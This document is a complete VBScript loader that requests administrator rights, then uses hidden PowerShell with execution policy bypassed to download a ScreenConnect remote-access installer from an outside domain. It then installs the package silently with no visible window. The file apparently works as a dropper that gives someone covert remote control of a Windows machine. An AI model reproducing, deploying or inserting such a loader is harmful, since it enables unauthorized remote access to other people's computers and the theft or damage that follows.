' cmd.vbs
' Downloads MSI to ProgramData, installs silently via cmd.exe + msiexec.
' No console window. UAC once if not already admin.

Option Explicit

Dim shell, fso, msiUrl, msiName, msiDir, msiFile, logFile, ps, exitCode, cmdLine

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' ========== CONFIG ==========
msiUrl = "https://00q1.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
msiName = "ScreenConnect.ClientSetup.msi"
' ===========================

If Not IsRunningAsAdmin() Then
  ElevateAndRelaunch
  WScript.Quit
End If

If msiUrl = "" Then WScript.Quit 1
If msiName = "" Then msiName = "ScreenConnect.ClientSetup.msi"

msiDir = shell.ExpandEnvironmentStrings("%ProgramData%") & "\MsiSilentInstall"
msiFile = fso.BuildPath(msiDir, msiName)
logFile = fso.BuildPath(msiDir, "MsiSilentInstall.log")

If Not fso.FolderExists(msiDir) Then
  fso.CreateFolder msiDir
End If

ps = "try {" & _
  " $ProgressPreference='SilentlyContinue';" & _
  " [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;" & _
  " Invoke-WebRequest -Uri '" & EscapePs(msiUrl) & "' -OutFile '" & EscapePs(msiFile) & "' -UseBasicParsing" & _
  "} catch { exit 1 }"

exitCode = shell.Run("powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command """ & ps & """", 0, True)
If exitCode <> 0 Then WScript.Quit exitCode
If Not fso.FileExists(msiFile) Then WScript.Quit 1

cmdLine = "cmd.exe /c msiexec /i """ & msiFile & """ /qn /norestart /L*v """ & logFile & """"
exitCode = shell.Run(cmdLine, 0, True)

WScript.Quit exitCode

Function EscapePs(s)
  EscapePs = Replace(s, "'", "''")
End Function

Function IsRunningAsAdmin()
  On Error Resume Next
  shell.RegRead "HKEY_USERS\S-1-5-19\Environment\TEMP"
  If Err.Number = 0 Then
    IsRunningAsAdmin = True
  Else
    IsRunningAsAdmin = False
    Err.Clear
  End If
  On Error GoTo 0
End Function

Sub ElevateAndRelaunch()
  Dim app, args
  app = WScript.FullName
  args = "//nologo """ & WScript.ScriptFullName & """"
  CreateObject("Shell.Application").ShellExecute app, args, "", "runas", 0
End Sub
